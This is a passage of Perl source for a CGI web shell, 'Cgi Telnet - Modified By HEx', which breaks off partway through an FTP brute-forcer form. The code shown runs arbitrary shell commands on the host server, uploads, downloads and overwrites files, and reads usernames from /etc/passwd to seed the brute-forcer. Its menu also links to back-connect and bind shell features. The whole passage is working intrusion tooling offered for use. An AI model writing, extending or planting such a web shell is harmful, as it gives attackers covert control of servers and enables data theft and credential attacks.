none\r\n}\r\nA:active {\r\n\tcolor: Red; TEXT-DECORATION: none\r\n}\r\n\r\n.listdir tr:hover{\r\n\tbackground: #444;\r\n}\r\n.listdir tr:hover td{\r\n\tbackground: #444;\r\n\ttext-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan;\r\n\tcolor: #FFFFFF; TEXT-DECORATION: none;\r\n}\r\n.notline{\r\n\tbackground: #111;\r\n}\r\n.line{\r\n\tbackground: #222;\r\n}\r\n</style>\r\n<script language=\"javascript\">\r\nfunction chmod_form(i,file)\r\n{\r\n\t/*var ajax='ajax_PostData(\"FormPerms_'+i+'\",\"\$ScriptLocation\",\"ResponseData\"); return false;';*/\r\n\tvar ajax=\"\";\r\n\tdocument.getElementById(\"FilePerms_\"+i).innerHTML=\"<form name=FormPerms_\" + i+ \" action=' method='POST'><input id=text_\" + i + \"  name=chmod type=text size=5 /><input type=submit class='submit' onclick='\" + ajax + \"' value=OK><input type=hidden name=a value='gui'><input type=hidden name=d value='\$dir'><input type=hidden name=f value='\"+file+\"'></form>\";\r\n\tdocument.getElementById(\"text_\" + i).focus();\r\n}\r\nfunction rm_chmod_form(response,i,perms,file)\r\n{\r\n\tresponse.innerHTML = \"<span onclick=\\\\\\\"chmod_form(\" + i + \",'\"+ file+ \"')\\\\\\\" >\"+ perms +\"</span></td>\";\r\n}\r\nfunction rename_form(i,file,f)\r\n{\r\n\tvar ajax=\"\";\r\n\tf.replace(/\\\\\\\\/g,\"\\\\\\\\\\\\\\\\\");\r\n\tvar back=\"rm_rename_form(\"+i+\",\\\\\\\"\"+file+\"\\\\\\\",\\\\\\\"\"+f+\"\\\\\\\"); return false;\";\r\n\tdocument.getElementById(\"File_\"+i).innerHTML=\"<form name=FormPerms_\" + i+ \" action=' method='POST'><input id=text_\" + i + \"  name=rename type=text value= '\"+file+\"' /><input type=submit class='submit' onclick='\" + ajax + \"' value=OK><input type=submit class='submit' onclick='\" + back + \"' value=Cancel><input type=hidden name=a value='gui'><input type=hidden name=d value='\$dir'><input type=hidden name=f value='\"+file+\"'></form>\";\r\n\tdocument.getElementById(\"text_\" + i).focus();\r\n}\r\nfunction rm_rename_form(i,file,f)\r\n{\r\n\tif(f=='f')\r\n\t{\r\n\t\tdocument.getElementById(\"File_\"+i).innerHTML=\"<a href='?a=command&d=\$dir&c=edit%20\"+file+\"%20'>\" +file+ \"</a>\";\r\n\t}else\r\n\t{\r\n\t\tdocument.getElementById(\"File_\"+i).innerHTML=\"<a href='?a=gui&d=\"+f+\"'>[ \" +file+ \" ]</a>\";\r\n\t}\r\n}\r\n</script>\r\n<body onLoad=\"document.f.@_.focus()\" bgcolor=\"#0c0c0c\" topmargin=\"0\" leftmargin=\"0\" marginwidth=\"0\" marginheight=\"0\">\r\n<center><code>\r\n<table border=\"1\" width=\"100%\" cellspacing=\"0\" cellpadding=\"2\">\r\n<tr>\r\n\t<td align=\"center\" rowspan=2>\r\n\t\t<b><font size=\"5\">\$EditPersion</font></b>\r\n\t</td>\r\n\r\n\t<td>\r\n\r\n\t\t<font face=\"Verdana\" size=\"2\">\$ENV{\"SERVER_SOFTWARE\"}</font>\r\n\t</td>\r\n\t<td>Server IP:<font color=\"#bb0000\"> \$ENV{'SERVER_ADDR'}</font> | Your IP: <font color=\"#bb0000\">\$ENV{'REMOTE_ADDR'}</font>\r\n\t</td>\r\n\r\n</tr>\r\n\r\n<tr>\r\n<td colspan=\"3\"><font face=\"Verdana\" size=\"2\">\r\n<a href=\"\$ScriptLocation\">Home</a> | \r\n<a href=\"\$ScriptLocation?a=command&d=\$EncodedCurrentDir\">Command</a> |\r\n<a href=\"\$ScriptLocation?a=gui&d=\$EncodedCurrentDir\">GUI</a> | \r\n<a href=\"\$ScriptLocation?a=upload&d=\$EncodedCurrentDir\">Upload File</a> | \r\n<a href=\"\$ScriptLocation?a=download&d=\$EncodedCurrentDir\">Download File</a> |\r\n\r\n<a href=\"\$ScriptLocation?a=backbind\">Back & Bind</a> |\r\n<a href=\"\$ScriptLocation?a=bruteforcer\">Brute Forcer</a> |\r\n<a href=\"\$ScriptLocation?a=checklog\">Check Log</a> |\r\n<a href=\"\$ScriptLocation?a=domainsuser\">Domains/Users</a> |\r\n<a href=\"\$ScriptLocation?a=logout\">Logout</a> |\r\n<a target='_blank' href=\"#\">Help</a>\r\n\r\n</font></td>\r\n</tr>\r\n</table>\r\n<font id=\"ResponseData\" color=\"#ff99cc\" >\r\nEND\r\n}\r\n\r\n#------------------------------------------------------------------------------\r\n# Prints the Login Screen\r\n#------------------------------------------------------------------------------\r\nsub PrintLoginScreen\r\n{\r\n\r\n\tprint <<END;\r\n<pre><script type=\"text/javascript\">\r\nTypingText = function(element, interval, cursor, finishedCallback) {\r\n  if((typeof document.getElementById == \"undefined\") || (typeof element.innerHTML == \"undefined\")) {\r\n    this.running = true;\t// Never run.\r\n    return;\r\n  }\r\n  this.element = element;\r\n  this.finishedCallback = (finishedCallback ? finishedCallback : function() { return; });\r\n  this.interval = (typeof interval == \"undefined\" ? 100 : interval);\r\n  this.origText = this.element.innerHTML;\r\n  this.unparsedOrigText = this.origText;\r\n  this.cursor = (cursor ? cursor : \"\");\r\n  this.currentText = \"\";\r\n  this.currentChar = 0;\r\n  this.element.typingText = this;\r\n  if(this.element.id == \"\") this.element.id = \"typingtext\" + TypingText.currentIndex++;\r\n  TypingText.all.push(this);\r\n  this.running = false;\r\n  this.inTag = false;\r\n  this.tagBuffer = \"\";\r\n  this.inHTMLEntity = false;\r\n  this.HTMLEntityBuffer = \"\";\r\n}\r\nTypingText.all = new Array();\r\nTypingText.currentIndex = 0;\r\nTypingText.runAll = function() {\r\n  for(var i = 0; i < TypingText.all.length; i++) TypingText.all[i].run();\r\n}\r\nTypingText.prototype.run = function() {\r\n  if(this.running) return;\r\n  if(typeof this.origText == \"undefined\") {\r\n    setTimeout(\"document.getElementById('\" + this.element.id + \"').typingText.run()\", this.interval);\t// We haven't finished loading yet.  Have patience.\r\n    return;\r\n  }\r\n  if(this.currentText == \"\") this.element.innerHTML = \"\";\r\n//  this.origText = this.origText.replace(/<([^<])*>/, \"\");     // Strip HTML from text.\r\n  if(this.currentChar < this.origText.length) {\r\n    if(this.origText.charAt(this.currentChar) == \"<\" && !this.inTag) {\r\n      this.tagBuffer = \"<\";\r\n      this.inTag = true;\r\n      this.currentChar++;\r\n      this.run();\r\n      return;\r\n    } else if(this.origText.charAt(this.currentChar) == \">\" && this.inTag) {\r\n      this.tagBuffer += \">\";\r\n      this.inTag = false;\r\n      this.currentText += this.tagBuffer;\r\n      this.currentChar++;\r\n      this.run();\r\n      return;\r\n    } else if(this.inTag) {\r\n      this.tagBuffer += this.origText.charAt(this.currentChar);\r\n      this.currentChar++;\r\n      this.run();\r\n      return;\r\n    } else if(this.origText.charAt(this.currentChar) == \"&\" && !this.inHTMLEntity) {\r\n      this.HTMLEntityBuffer = \"&\";\r\n      this.inHTMLEntity = true;\r\n      this.currentChar++;\r\n      this.run();\r\n      return;\r\n    } else if(this.origText.charAt(this.currentChar) == \";\" && this.inHTMLEntity) {\r\n      this.HTMLEntityBuffer += \";\";\r\n      this.inHTMLEntity = false;\r\n      this.currentText += this.HTMLEntityBuffer;\r\n      this.currentChar++;\r\n      this.run();\r\n      return;\r\n    } else if(this.inHTMLEntity) {\r\n      this.HTMLEntityBuffer += this.origText.charAt(this.currentChar);\r\n      this.currentChar++;\r\n      this.run();\r\n      return;\r\n    } else {\r\n      this.currentText += this.origText.charAt(this.currentChar);\r\n    }\r\n    this.element.innerHTML = this.currentText;\r\n    this.element.innerHTML += (this.currentChar < this.origText.length - 1 ? (typeof this.cursor == \"function\" ? this.cursor(this.currentText) : this.cursor) : \"\");\r\n    this.currentChar++;\r\n    setTimeout(\"document.getElementById('\" + this.element.id + \"').typingText.run()\", this.interval);\r\n  } else {\r\n\tthis.currentText = \"\";\r\n\tthis.currentChar = 0;\r\n        this.running = false;\r\n        this.finishedCallback();\r\n  }\r\n}\r\n</script>\r\n</pre>\r\n\r\n<font style=\"font: 15pt Verdana; color: yellow;\">Cgi Telnet - Modified By HEx </font><br><br>\r\n<table align=\"center\" border=\"1\" width=\"600\" heigh>\r\n<tbody><tr>\r\n<td valign=\"top\" background=\"http://dl.dropbox.com/u/10860051/images/matran.gif\"><p id=\"hack\" style=\"margin-left: 3px;\">\r\n<font color=\"#009900\"> Please Wait . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .</font> <br>\r\n\r\n<font color=\"#009900\"> Trying connect to Server . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .</font><br>\r\n<font color=\"#F00000\"><font color=\"#FFF000\">~\\\$</font> Connected ! </font><br>\r\n<font color=\"#009900\"><font color=\"#FFF000\">\$ServerName~</font> Checking Server . . . . . . . . . . . . . . . . . . .</font> <br>\r\n\r\n<font color=\"#009900\"><font color=\"#FFF000\">\$ServerName~</font> Trying connect to Command . . . . . . . . . . .</font><br>\r\n\r\n<font color=\"#F00000\"><font color=\"#FFF000\">\$ServerName~</font>\\\$ Connected Command! </font><br>\r\n<font color=\"#009900\"><font color=\"#FFF000\">\$ServerName~<font color=\"#F00000\">\\\$</font></font> OK! You can kill it!</font>\r\n</tr>\r\n</tbody></table>\r\n<br>\r\n\r\n<script type=\"text/javascript\">\r\nnew TypingText(document.getElementById(\"hack\"), 30, function(i){ var ar = new Array(\"_\",\"\"); return \" \" + ar[i.length % ar.length]; });\r\nTypingText.runAll();\r\n\r\n</script>\r\nEND\r\n}\r\n\r\n#------------------------------------------------------------------------------\r\n# Add html special chars\r\n#------------------------------------------------------------------------------\r\nsub HtmlSpecialChars(\$){\r\n\tmy \$text = shift;\r\n\t\$text =~ s/&/&amp;/g;\r\n\t\$text =~ s/\"/&quot;/g;\r\n\t\$text =~ s/'/&#039;/g;\r\n\t\$text =~ s/</&lt;/g;\r\n\t\$text =~ s/>/&gt;/g;\r\n\treturn \$text;\r\n}\r\n#------------------------------------------------------------------------------\r\n# Add link for directory\r\n#------------------------------------------------------------------------------\r\nsub AddLinkDir(\$)\r\n{\r\n\tmy \$ac=shift;\r\n\tmy @dir=();\r\n\tif(\$WinNT)\r\n\t{\r\n\t\t@dir=split(/\\\\/,\$CurrentDir);\r\n\t}else\r\n\t{\r\n\t\t@dir=split(\"/\",&trim(\$CurrentDir));\r\n\t}\r\n\tmy \$path=\"\";\r\n\tmy \$result=\"\";\r\n\tforeach (@dir)\r\n\t{\r\n\t\t\$path .= \$_.\$PathSep;\r\n\t\t\$result.=\"<a href='?a=\".\$ac.\"&d=\".\$path.\"'>\".\$_.\$PathSep.\"</a>\";\r\n\t}\r\n\treturn \$result;\r\n}\r\n#------------------------------------------------------------------------------\r\n# Prints the message that informs the user of a failed login\r\n#------------------------------------------------------------------------------\r\nsub PrintLoginFailedMessage\r\n{\r\n\tprint <<END;\r\n<br>Login : Administrator<br>\r\n\r\nPassword:<br>\r\nLogin incorrect<br><br>\r\nEND\r\n}\r\n\r\n#------------------------------------------------------------------------------\r\n# Prints the HTML form for logging in\r\n#------------------------------------------------------------------------------\r\nsub PrintLoginForm\r\n{\r\n\tprint <<END;\r\n<form name=\"f\" method=\"POST\" action=\"\$ScriptLocation\">\r\n<input type=\"hidden\" name=\"a\" value=\"login\">\r\nLogin : Administrator<br>\r\nPassword:<input type=\"password\" name=\"p\">\r\n<input class=\"submit\" type=\"submit\" value=\"Enter\">\r\n</form>\r\nEND\r\n}\r\n\r\n#------------------------------------------------------------------------------\r\n# Prints the footer for the HTML Page\r\n#------------------------------------------------------------------------------\r\nsub PrintPageFooter\r\n{\r\n\tprint \"<br><font color=red>o---[  <font color=#ff9900>Edit by \$EditPersion </font>  ]---o</font></code></center></body></html>\";\r\n}\r\n\r\n#------------------------------------------------------------------------------\r\n# Retreives the values of all cookies. The cookies can be accesses using the\r\n# variable \$Cookies{'}\r\n#------------------------------------------------------------------------------\r\nsub GetCookies\r\n{\r\n\t@httpcookies = split(/; /,\$ENV{'HTTP_COOKIE'});\r\n\tforeach \$cookie(@httpcookies)\r\n\t{\r\n\t\t(\$id, \$val) = split(/=/, \$cookie);\r\n\t\t\$Cookies{\$id} = \$val;\r\n\t}\r\n}\r\n\r\n#------------------------------------------------------------------------------\r\n# Prints the screen when the user logs out\r\n#------------------------------------------------------------------------------\r\nsub PrintLogoutScreen\r\n{\r\n\tprint \"Connection closed by foreign host.<br><br>\";\r\n}\r\n\r\n#------------------------------------------------------------------------------\r\n# Logs out the user and allows the user to login again\r\n#------------------------------------------------------------------------------\r\nsub PerformLogout\r\n{\r\n\tprint \"Set-Cookie: SAVEDPWD=;\\n\"; # remove password cookie\r\n\t&PrintPageHeader(\"p\");\r\n\t&PrintLogoutScreen;\r\n\r\n\t&PrintLoginScreen;\r\n\t&PrintLoginForm;\r\n\t&PrintPageFooter;\r\n\texit;\r\n}\r\n\r\n#------------------------------------------------------------------------------\r\n# This function is called to login the user. If the password matches, it\r\n# displays a page that allows the user to run commands. If the password doens't\r\n# match or if no password is entered, it displays a form that allows the user\r\n# to login\r\n#------------------------------------------------------------------------------\r\nsub PerformLogin \r\n{\r\n\tif(\$LoginPassword eq \$Password) # password matched\r\n\t{\r\n\t\tprint \"Set-Cookie: SAVEDPWD=\$LoginPassword;\\n\";\r\n\t\t&PrintPageHeader;\r\n\t\tprint &ListDir;\r\n\t}\r\n\telse # password didn't match\r\n\t{\r\n\t\t&PrintPageHeader(\"p\");\r\n\t\t&PrintLoginScreen;\r\n\t\tif(\$LoginPassword ne \"\") # some password was entered\r\n\t\t{\r\n\t\t\t&PrintLoginFailedMessage;\r\n\r\n\t\t}\r\n\t\t&PrintLoginForm;\r\n\t\t&PrintPageFooter;\r\n\t\texit;\r\n\t}\r\n}\r\n\r\n#------------------------------------------------------------------------------\r\n# Prints the HTML form that allows the user to enter commands\r\n#------------------------------------------------------------------------------\r\nsub PrintCommandLineInputForm\r\n{\r\n\tmy \$dir= \"<span style='font: 11pt Verdana; font-weight: bold;'>\".&AddLinkDir(\"command\").\"</span>\";\r\n\t\$Prompt = \$WinNT ? \"\$dir > \" : \"<font color='#66ff66'>[admin\\@\$ServerName \$dir]\\\$</font> \";\r\n\treturn <<END;\r\n<form name=\"f\" method=\"POST\" action=\"\$ScriptLocation\">\r\n\r\n<input type=\"hidden\" name=\"a\" value=\"command\">\r\n\r\n<input type=\"hidden\" name=\"d\" value=\"\$CurrentDir\">\r\n\$Prompt\r\n<input type=\"text\" size=\"50\" name=\"c\">\r\n<input class=\"submit\"type=\"submit\" value=\"Enter\">\r\n</form>\r\nEND\r\n}\r\n\r\n#------------------------------------------------------------------------------\r\n# Prints the HTML form that allows the user to download files\r\n#------------------------------------------------------------------------------\r\nsub PrintFileDownloadForm\r\n{\r\n\tmy \$dir = &AddLinkDir(\"download\"); \r\n\t\$Prompt = \$WinNT ? \"\$dir > \" : \"[admin\\@\$ServerName \$dir]\\\$ \";\r\n\treturn <<END;\r\n<form name=\"f\" method=\"POST\" action=\"\$ScriptLocation\">\r\n<input type=\"hidden\" name=\"d\" value=\"\$CurrentDir\">\r\n<input type=\"hidden\" name=\"a\" value=\"download\">\r\n\$Prompt download<br><br>\r\nFilename: <input class=\"file\" type=\"text\" name=\"f\" size=\"35\"><br><br>\r\nDownload: <input class=\"submit\" type=\"submit\" value=\"Begin\">\r\n\r\n</form>\r\nEND\r\n}\r\n\r\n#------------------------------------------------------------------------------\r\n# Prints the HTML form that allows the user to upload files\r\n#------------------------------------------------------------------------------\r\nsub PrintFileUploadForm\r\n{\r\n\tmy \$dir= &AddLinkDir(\"upload\");\r\n\t\$Prompt = \$WinNT ? \"\$dir > \" : \"[admin\\@\$ServerName \$dir]\\\$ \";\r\n\treturn <<END;\r\n<form name=\"f\" enctype=\"multipart/form-data\" method=\"POST\" action=\"\$ScriptLocation\">\r\n\$Prompt upload<br><br>\r\nFilename: <input class=\"file\" type=\"file\" name=\"f\" size=\"35\"><br><br>\r\nOptions: &nbsp;<input type=\"checkbox\" name=\"o\" id=\"up\" value=\"overwrite\">\r\n<label for=\"up\">Overwrite if it Exists</label><br><br>\r\nUpload:&nbsp;&nbsp;&nbsp;<input class=\"submit\" type=\"submit\" value=\"Begin\">\r\n<input type=\"hidden\" name=\"d\" value=\"\$CurrentDir\">\r\n<input class=\"submit\" type=\"hidden\" name=\"a\" value=\"upload\">\r\n\r\n</form>\r\n\r\nEND\r\n}\r\n\r\n#------------------------------------------------------------------------------\r\n# This function is called when the timeout for a command expires. We need to\r\n# terminate the script immediately. This function is valid only on Unix. It is\r\n# never called when the script is running on NT.\r\n#------------------------------------------------------------------------------\r\nsub CommandTimeout\r\n{\r\n\tif(!\$WinNT)\r\n\t{\r\n\t\talarm(0);\r\n\t\treturn <<END;\r\n</textarea>\r\n<br><font color=yellow>\r\nCommand exceeded maximum time of \$CommandTimeoutDuration second(s).</font>\r\n<br><font size='6' color=red>Killed it!</font>\r\nEND\r\n\t}\r\n}\r\n\r\n\r\n\r\n#------------------------------------------------------------------------------\r\n# This function displays the page that contains a link which allows the user\r\n# to download the specified file. The page also contains a auto-refresh\r\n# feature that starts the download automatically.\r\n# Argument 1: Fully qualified filename of the file to be downloaded\r\n#------------------------------------------------------------------------------\r\nsub PrintDownloadLinkPage\r\n{\r\n\tlocal(\$FileUrl) = @_;\r\n\tmy \$result=\"\";\r\n\tif(-e \$FileUrl) # if the file exists\r\n\t{\r\n\t\t# encode the file link so we can send it to the browser\r\n\t\t\$FileUrl =~ s/([^a-zA-Z0-9])/'%'.unpack(\"H*\",\$1)/eg;\r\n\t\t\$DownloadLink = \"\$ScriptLocation?a=download&f=\$FileUrl&o=go\";\r\n\t\t\$HtmlMetaHeader = \"<meta HTTP-EQUIV=\\\"Refresh\\\" CONTENT=\\\"1; URL=\$DownloadLink\\\">\";\r\n\t\t&PrintPageHeader(\"c\");\r\n\t\t\$result .= <<END;\r\nSending File \$TransferFile...<br>\r\n\r\nIf the download does not start automatically,\r\n<a href=\"\$DownloadLink\">Click Here</a>\r\nEND\r\n\t\t\$result .= &PrintCommandLineInputForm;\r\n\t}\r\n\telse # file doesn't exist\r\n\t{\r\n\t\t\$result .= \"Failed to download \$FileUrl: \$!\";\r\n\t\t\$result .= &PrintFileDownloadForm;\r\n\t}\r\n\treturn \$result;\r\n}\r\n\r\n#------------------------------------------------------------------------------\r\n# This function reads the specified file from the disk and sends it to the\r\n# browser, so that it can be downloaded by the user.\r\n# Argument 1: Fully qualified pathname of the file to be sent.\r\n#------------------------------------------------------------------------------\r\nsub SendFileToBrowser\r\n{\r\n\tmy \$result = \"\";\r\n\tlocal(\$SendFile) = @_;\r\n\tif(open(SENDFILE, \$SendFile)) # file opened for reading\r\n\t{\r\n\t\tif(\$WinNT)\r\n\t\t{\r\n\t\t\tbinmode(SENDFILE);\r\n\t\t\tbinmode(STDOUT);\r\n\t\t}\r\n\t\t\$FileSize = (stat(\$SendFile))[7];\r\n\t\t(\$Filename = \$SendFile) =~  m!([^/^\\\\]*)\$!;\r\n\t\tprint \"Content-Type: application/x-unknown\\n\";\r\n\t\tprint \"Content-Length: \$FileSize\\n\";\r\n\t\tprint \"Content-Disposition: attachment; filename=\$1\\n\\n\";\r\n\t\tprint while(<SENDFILE>);\r\n\t\tclose(SENDFILE);\r\n\t\texit(1);\r\n\t}\r\n\telse # failed to open file\r\n\t{\r\n\t\t\$result .= \"Failed to download \$SendFile: \$!\";\r\n\t\t\$result .=&PrintFileDownloadForm;\r\n\t}\r\n\treturn \$result;\r\n}\r\n\r\n\r\n#------------------------------------------------------------------------------\r\n# This function is called when the user downloads a file. It displays a message\r\n# to the user and provides a link through which the file can be downloaded.\r\n# This function is also called when the user clicks on that link. In this case,\r\n# the file is read and sent to the browser.\r\n#------------------------------------------------------------------------------\r\nsub BeginDownload\r\n{\r\n\t# get fully qualified path of the file to be downloaded\r\n\tif((\$WinNT & (\$TransferFile =~ m/^\\\\|^.:/)) |\r\n\t\t(!\$WinNT & (\$TransferFile =~ m/^\\//))) # path is absolute\r\n\t{\r\n\t\t\$TargetFile = \$TransferFile;\r\n\t}\r\n\telse # path is relative\r\n\t{\r\n\t\tchop(\$TargetFile) if(\$TargetFile = \$CurrentDir) =~ m/[\\\\\\/]\$/;\r\n\t\t\$TargetFile .= \$PathSep.\$TransferFile;\r\n\t}\r\n\r\n\tif(\$Options eq \"go\") # we have to send the file\r\n\t{\r\n\t\t&SendFileToBrowser(\$TargetFile);\r\n\t}\r\n\telse # we have to send only the link page\r\n\t{\r\n\t\t&PrintDownloadLinkPage(\$TargetFile);\r\n\t}\r\n}\r\n\r\n#------------------------------------------------------------------------------\r\n# This function is called when the user wants to upload a file. If the\r\n# file is not specified, it displays a form allowing the user to specify a\r\n# file, otherwise it starts the upload process.\r\n#------------------------------------------------------------------------------\r\nsub UploadFile\r\n{\r\n\t# if no file is specified, print the upload form again\r\n\tif(\$TransferFile eq \"\")\r\n\t{\r\n\t\treturn &PrintFileUploadForm;\r\n\r\n\t}\r\n\tmy \$result=\"\";\r\n\t# start the uploading process\r\n\t\$result .= \"Uploading \$TransferFile to \$CurrentDir...<br>\";\r\n\r\n\t# get the fullly qualified pathname of the file to be created\r\n\tchop(\$TargetName) if (\$TargetName = \$CurrentDir) =~ m/[\\\\\\/]\$/;\r\n\t\$TransferFile =~ m!([^/^\\\\]*)\$!;\r\n\t\$TargetName .= \$PathSep.\$1;\r\n\r\n\t\$TargetFileSize = length(\$in{'filedata'});\r\n\t# if the file exists and we are not supposed to overwrite it\r\n\tif(-e \$TargetName && \$Options ne \"overwrite\")\r\n\t{\r\n\t\t\$result .= \"Failed: Destination file already exists.<br>\";\r\n\t}\r\n\telse # file is not present\r\n\t{\r\n\t\tif(open(UPLOADFILE, \">\$TargetName\"))\r\n\t\t{\r\n\t\t\tbinmode(UPLOADFILE) if \$WinNT;\r\n\t\t\tprint UPLOADFILE \$in{'filedata'};\r\n\t\t\tclose(UPLOADFILE);\r\n\t\t\t\$result .= \"Transfered \$TargetFileSize Bytes.<br>\";\r\n\t\t\t\$result .= \"File Path: \$TargetName<br>\";\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\t\$result .= \"Failed: \$!<br>\";\r\n\t\t}\r\n\t}\r\n\t\$result .= &PrintCommandLineInputForm;\r\n\treturn \$result;\r\n}\r\n\r\n#------------------------------------------------------------------------------\r\n# This function is called when the user wants to download a file. If the\r\n# filename is not specified, it displays a form allowing the user to specify a\r\n# file, otherwise it displays a message to the user and provides a link\r\n# through  which the file can be downloaded.\r\n#------------------------------------------------------------------------------\r\nsub DownloadFile\r\n{\r\n\t# if no file is specified, print the download form again\r\n\tif(\$TransferFile eq \"\")\r\n\t{\r\n\t\t&PrintPageHeader(\"f\");\r\n\t\treturn &PrintFileDownloadForm;\r\n\t}\r\n\t\r\n\t# get fully qualified path of the file to be downloaded\r\n\tif((\$WinNT & (\$TransferFile =~ m/^\\\\|^.:/)) | (!\$WinNT & (\$TransferFile =~ m/^\\//))) # path is absolute\r\n\t{\r\n\t\t\$TargetFile = \$TransferFile;\r\n\t}\r\n\telse # path is relative\r\n\t{\r\n\t\tchop(\$TargetFile) if(\$TargetFile = \$CurrentDir) =~ m/[\\\\\\/]\$/;\r\n\t\t\$TargetFile .= \$PathSep.\$TransferFile;\r\n\t}\r\n\r\n\tif(\$Options eq \"go\") # we have to send the file\r\n\t{\r\n\t\treturn &SendFileToBrowser(\$TargetFile);\r\n\t}\r\n\telse # we have to send only the link page\r\n\t{\r\n\t\treturn &PrintDownloadLinkPage(\$TargetFile);\r\n\t}\r\n}\r\n\r\n\r\n#------------------------------------------------------------------------------\r\n# This function is called to execute commands. It displays the output of the\r\n# command and allows the user to enter another command. The change directory\r\n# command is handled differently. In this case, the new directory is stored in\r\n# an internal variable and is used each time a command has to be executed. The\r\n# output of the change directory command is not displayed to the users\r\n# therefore error messages cannot be displayed.\r\n#------------------------------------------------------------------------------\r\nsub ExecuteCommand\r\n{\r\n\tmy \$result=\"\";\r\n\tif(\$RunCommand =~ m/^\\s*cd\\s+(.+)/) # it is a change dir command\r\n\t{\r\n\t\t# we change the directory internally. The output of the\r\n\t\t# command is not displayed.\r\n\t\t\$Command = \"cd \\\"\$CurrentDir\\\"\".\$CmdSep.\"cd \$1\".\$CmdSep.\$CmdPwd;\r\n\t\tchop(\$CurrentDir = `\$Command`);\r\n\t\t\$result .= &PrintCommandLineInputForm;\r\n\r\n\t\t\$result .= \"Command: <run>\$RunCommand </run><br><textarea cols='\$cols' rows='\$rows' spellcheck='false'>\";\r\n\t\t# xuat thong tin khi chuyen den 1 thu muc nao do!\r\n\t\t\$RunCommand= \$WinNT?\"dir\":\"dir -lia\";\r\n\t\t\$result .= &RunCmd;\r\n\t}elsif(\$RunCommand =~ m/^\\s*edit\\s+(.+)/)\r\n\t{\r\n\t\t\$result .=  &SaveFileForm;\r\n\t}else\r\n\t{\r\n\t\t\$result .= &PrintCommandLineInputForm;\r\n\t\t\$result .= \"Command: <run>\$RunCommand</run><br><textarea id='data' cols='\$cols' rows='\$rows' spellcheck='false'>\";\r\n\t\t\$result .=&RunCmd;\r\n\t}\r\n\t\$result .=  \"</textarea>\";\r\n\treturn \$result;\r\n}\r\n\r\n#------------------------------------------------------------------------\r\n# run command\r\n#------------------------------------------------------------------------\r\n\r\nsub RunCmd\r\n{\r\n\tmy \$result=\"\";\r\n\t\$Command = \"cd \\\"\$CurrentDir\\\"\".\$CmdSep.\$RunCommand.\$Redirector;\r\n\tif(!\$WinNT)\r\n\t{\r\n\t\t\$SIG{'ALRM'} = \\&CommandTimeout;\r\n\t\talarm(\$CommandTimeoutDuration);\r\n\t}\r\n\tif(\$ShowDynamicOutput) # show output as it is generated\r\n\t{\r\n\t\t\$|=1;\r\n\t\t\$Command .= \" |\";\r\n\t\topen(CommandOutput, \$Command);\r\n\t\twhile(<CommandOutput>)\r\n\t\t{\r\n\t\t\t\$_ =~ s/(\\n|\\r\\n)\$//;\r\n\t\t\t\$result .= &HtmlSpecialChars(\"\$_\\n\");\r\n\t\t}\r\n\t\t\$|=0;\r\n\t}\r\n\telse # show output after command completes\r\n\t{\r\n\t\t\$result .= &HtmlSpecialChars('\$Command');\r\n\t}\r\n\tif(!\$WinNT)\r\n\t{\r\n\t\talarm(0);\r\n\t}\r\n\treturn \$result;\r\n}\r\n#==============================================================================\r\n# Form Save File \r\n#==============================================================================\r\nsub SaveFileForm\r\n{\r\n\tmy \$result =\"\";\r\n\tsubstr(\$RunCommand,0,5)=\"\";\r\n\tmy \$file=&trim(\$RunCommand);\r\n\t\$save='<br><input name=\"a\" type=\"submit\" value=\"save\" class=\"submit\" >';\r\n\t\$File=\$CurrentDir.\$PathSep.\$RunCommand;\r\n\tmy \$dir=\"<span style='font: 11pt Verdana; font-weight: bold;'>\".&AddLinkDir(\"gui\").\"</span>\";\r\n\tif(-w \$File)\r\n\t{\r\n\t\t\$rows=\"23\"\r\n\t}else\r\n\t{\r\n\t\t\$msg=\"<br><font style='font: 15pt Verdana; color: yellow;' > Permission denied!<font><br>\";\r\n\t\t\$rows=\"20\"\r\n\t}\r\n\t\$Prompt = \$WinNT ? \"\$dir > \" : \"<font color='#FFFFFF'>[admin\\@\$ServerName \$dir]\\\$</font> \";\r\n\t\$read=(\$WinNT)?\"type\":\"less\";\r\n\t\$RunCommand = \"\$read \\\"\$RunCommand\\\"\";\r\n\t\$result .=  <<END;\r\n\t<form name=\"f\" method=\"POST\" action=\"\$ScriptLocation\">\r\n\r\n\t<input type=\"hidden\" name=\"d\" value=\"\$CurrentDir\">\r\n\t\$Prompt\r\n\t<input type=\"text\" size=\"40\" name=\"c\">\r\n\t<input name=\"s\" class=\"submit\" type=\"submit\" value=\"Enter\">\r\n\t<br>Command: <run> \$RunCommand </run>\r\n\t<input type=\"hidden\" name=\"file\" value=\"\$file\" > \$save <br> \$msg\r\n\t<br><textarea id=\"data\" name=\"data\" cols=\"\$cols\" rows=\"\$rows\" spellcheck=\"false\">\r\nEND\r\n\t\r\n\t\$result .= &RunCmd;\r\n\t\$result .=  \"</textarea>\";\r\n\t\$result .=  \"</form>\";\r\n\treturn \$result;\r\n}\r\n#==============================================================================\r\n# Save File\r\n#==============================================================================\r\nsub SaveFile(\$)\r\n{\r\n\tmy \$Data= shift ;\r\n\tmy \$File= shift;\r\n\t\$File=\$CurrentDir.\$PathSep.\$File;\r\n\tif(open(FILE, \">\$File\"))\r\n\t{\r\n\t\tbinmode FILE;\r\n\t\tprint FILE \$Data;\r\n\t\tclose FILE;\r\n\t\treturn 1;\r\n\t}else\r\n\t{\r\n\t\treturn 0;\r\n\t}\r\n}\r\n#------------------------------------------------------------------------------\r\n# Brute Forcer Form\r\n#------------------------------------------------------------------------------\r\nsub BruteForcerForm\r\n{\r\n\tmy \$result=\"\";\r\n\t\$result .= <<END;\r\n\r\n<table>\r\n\r\n<tr>\r\n<td colspan=\"2\" align=\"center\">\r\n####################################<br>\r\nSimple FTP brute forcer<br>\r\n####################################\r\n<form name=\"f\" method=\"POST\" action=\"\$ScriptLocation\">\r\n\r\n<input type=\"hidden\" name=\"a\" value=\"bruteforcer\"/>\r\n</td>\r\n</tr>\r\n<tr>\r\n<td>User:<br><textarea rows=\"18\" cols=\"30\" name=\"user\">\r\nEND\r\nchop(\$result .= `less /etc/passwd | cut -d: -f1`);\r\n\$result .= <<'END';\r\n</textarea></td>\r\n<td>\r\n\r\nPass:<br>\r\n<textarea rows=\"18\" cols=\"30\" 